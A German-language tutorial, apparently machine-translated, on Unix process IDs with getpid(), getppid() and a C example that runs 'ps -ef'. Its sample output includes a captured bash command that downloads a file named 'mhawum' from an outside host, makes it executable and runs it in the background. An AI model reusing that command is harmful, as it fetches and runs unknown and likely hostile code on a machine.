Prozessinformationen

Bevor wir auf Prozessinformationen eingehen, müssen wir einige Dinge wissen, wie z.

Was ist ein Prozess? Ein Prozess ist ein Programm in Ausführung.

Was ist ein Programm? Ein Programm ist eine Datei, die die Informationen eines Prozesses und dessen Erstellung zur Laufzeit enthält. Wenn Sie mit der Ausführung des Programms beginnen, wird es in den Arbeitsspeicher geladen und ausgeführt.

Jeder Prozess wird mit einer eindeutigen positiven Ganzzahl identifiziert, die als Prozess-ID oder einfach als PID (Prozessidentifikationsnummer) bezeichnet wird. Der Kernel begrenzt normalerweise die Prozess-ID auf 32767, die konfigurierbar ist. Wenn die Prozess-ID diese Grenze erreicht, wird sie erneut zurückgesetzt, dh nach dem Prozessbereich des Systems. Die nicht verwendeten Prozess-IDs von diesem Zähler werden dann neu erstellten Prozessen zugewiesen.

Der Systemaufruf getpid () gibt die Prozess-ID des aufrufenden Prozesses zurück.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Dieser Aufruf gibt die Prozess-ID des aufrufenden Prozesses zurück, die garantiert eindeutig ist. Dieser Aufruf ist immer erfolgreich und daher kein Rückgabewert, der auf einen Fehler hinweist.

Jeder Prozess hat eine eindeutige ID namens Prozess-ID, die in Ordnung ist, aber wer hat sie erstellt? Wie bekomme ich Informationen über seinen Schöpfer? Der Erstellungsprozess wird als übergeordneter Prozess bezeichnet. Die übergeordnete ID oder PPID kann über den Aufruf von getppid () abgerufen werden.

Der Systemaufruf getppid () gibt die übergeordnete PID des aufrufenden Prozesses zurück.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Dieser Aufruf gibt die übergeordnete Prozess-ID des aufrufenden Prozesses zurück. Dieser Aufruf ist immer erfolgreich und daher kein Rückgabewert, der auf einen Fehler hinweist.

Lassen Sie uns dies anhand eines einfachen Beispiels verstehen.

Im Folgenden finden Sie ein Programm, mit dem Sie die PID und PPID des aufrufenden Prozesses kennen.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Beim Kompilieren und Ausführen des obigen Programms wird die Ausgabe folgen.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- Das Bibliotheksfunktionssystem "C" () führt einen Shell-Befehl aus. Die an system () übergebenen Argumente sind Befehle, die auf der Shell ausgeführt werden. Im obigen Programm lautet der Befehl "ps" und gibt den Prozessstatus an.

Auf die vollständigen Informationen zu allen laufenden Prozessen und andere systembezogene Informationen kann über das am / proc-Speicherort verfügbare proc-Dateisystem zugegriffen werden.